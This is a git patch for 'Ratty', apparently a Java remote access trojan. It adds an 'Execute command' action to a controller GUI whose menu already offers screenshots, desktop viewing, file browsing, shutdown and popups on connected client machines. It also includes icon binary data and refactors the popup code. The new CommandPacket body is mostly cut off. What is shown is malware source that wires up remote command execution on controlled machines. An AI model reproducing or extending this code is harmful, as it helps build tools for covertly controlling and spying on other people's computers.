From 1286bead7338a7a57595b7811c38083a320ad0d0 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Fri, 29 Jan 2016 15:26:09 +0100 Subject: [PATCH] Major changes Added console command support Other stuff --- Ratty/res/icons.png | Bin 427 -> 449 bytes Ratty/src/de/sogomn/rat/Ratty.java | 4 +- .../de/sogomn/rat/packet/CommandPacket.java | 89 ++++++++++++++++++ .../src/de/sogomn/rat/packet/PacketType.java | 3 +- .../src/de/sogomn/rat/packet/PopupPacket.java | 12 +-- .../de/sogomn/rat/server/gui/RattyGui.java | 18 ++++ .../rat/server/gui/RattyGuiController.java | 3 + 7 files changed, 117 insertions(+), 12 deletions(-) create mode 100644 Ratty/src/de/sogomn/rat/packet/CommandPacket.java diff --git a/Ratty/res/icons.png b/Ratty/res/icons.png index e6f180d34c111e9b78f2598bfe533354369b33e5..1d54bcab34bf7bdeba1cb93309036c8f83055928 100644 GIT binary patch literal 449 zcmV;y0Y3hTP)IQ zB&TyTx$3HFF>`ahD9%d)!tJLSzq@}oP1bUAvG$$gza&;H$E5*DeTMp0`v=P)fKb50 z?^5Gi`YwU;tXI8ZG5zTmI~NDR-$U(M;{e>9U%ll3N`jw?!B_wxh+rSB0y{h1Taj@A zdWfX}#(r_%A#KATW&ul8mjc+eVbI#!rZ*`-X$pcC{&$R3iNFrlpkmRg-eagYLIco0NQ3N5L?DFB2Zg8i-6KOtT9>!xU<{3rzux;VmhYwiBfsF&wmQrk>%b3e2U@Au2JY6sW4CXpa$) zBb*YD2XeTsNfra7l(s1Im;ykmPi6;sC=GGys2q49#1a6AHIP0004UNklcVuhkqiWEW}+doc$3Z#E%8d1kD zc4Al6OnyyW_ndy(cw|A^c{$&A&yTK4N((^)4)%$}aAZN@JI*lozTRF{q5x2^!gtmH z+?-pp7{vMHZC-3#ya@kHjps@OU~{|=N&(2-IJp2Q2;`jH2yi-FdPrIT9zqEKR9cga zaS)P#&|NRTE@7vWN6abonV!N#YP>yD!!zu#&n0K`Q;M4$+2uST}&G;AuE;Uui zj;A6Zc0L6mCk2&=080QA1aiLh89>pW3c#l$00zM2f5{o(b=t3A6rK@bn);`pLbsqX z0I~Dun1Y}~IQ&D(!Q35Q8Ud*kG({z>y@qOP1Na(BEkaYQc!%!JOOav#lJ clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java index 79fb3a5..c47a4e4 100644 --- a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java @@ -1,9 +1,7 @@ package de.sogomn.rat.packet; -import javax.swing.JDialog; -import javax.swing.JOptionPane; - import de.sogomn.rat.ActiveClient; +import de.sogomn.rat.server.gui.RattyGui; @@ -31,11 +29,7 @@ public final class PopupPacket implements IPacket { @Override public void execute(final ActiveClient client) { - final JOptionPane optionPane = new JOptionPane(message); - final JDialog dialog = optionPane.createDialog(null); - - dialog.setModal(false); - dialog.setVisible(true); + RattyGui.showMessage(message); } public String getMessage() { @@ -43,7 +37,7 @@ public final class PopupPacket implements IPacket { } public static PopupPacket create() { - final String input = JOptionPane.showInputDialog(null); + final String input = RattyGui.getInput(); final PopupPacket packet = new PopupPacket(input); return packet; diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 8ce2400..2eeae09 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -8,8 +8,10 @@ import java.awt.event.MouseEvent; import java.awt.image.BufferedImage; import javax.swing.ImageIcon; +import javax.swing.JDialog; import javax.swing.JFrame; import javax.swing.JMenuItem; +import javax.swing.JOptionPane; import javax.swing.JPopupMenu; import javax.swing.JScrollPane; import javax.swing.JTable; @@ -50,6 +52,7 @@ public final class RattyGui { public static final String SCREENSHOT = "Take screenshot"; public static final String DESKTOP = "View desktop"; public static final String FILES = "Browse files"; + public static final String COMMAND = "Execute command"; public static final String SHUTDOWN = "Shutdown device"; public static final String FREE = "Free client"; public static final String[] ACTION_COMMANDS = { @@ -57,6 +60,7 @@ public final class RattyGui { SCREENSHOT, DESKTOP, FILES, + COMMAND, SHUTDOWN, FREE }; @@ -165,4 +169,18 @@ public final class RattyGui { return lastIdClicked; } + public static void showMessage(final String message) { + final JOptionPane optionPane = new JOptionPane(message); + final JDialog dialog = optionPane.createDialog(null); + + dialog.setModal(false); + dialog.setVisible(true); + } + + public static String getInput() { + final String input = JOptionPane.showInputDialog(null); + + return input; + } + } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index c1842f1..810754b 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -5,6 +5,7 @@ import java.util.ArrayList; import de.sogomn.rat.ActiveClient; import de.sogomn.rat.IClientObserver; +import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; @@ -55,6 +56,8 @@ public final class RattyGuiController implements IServerObserver, IClientObserve return new FreePacket(); } else if (actionCommand == RattyGui.SCREENSHOT) { return new ScreenshotPacket(); + } else if (actionCommand == RattyGui.COMMAND) { + return CommandPacket.create(); } return null;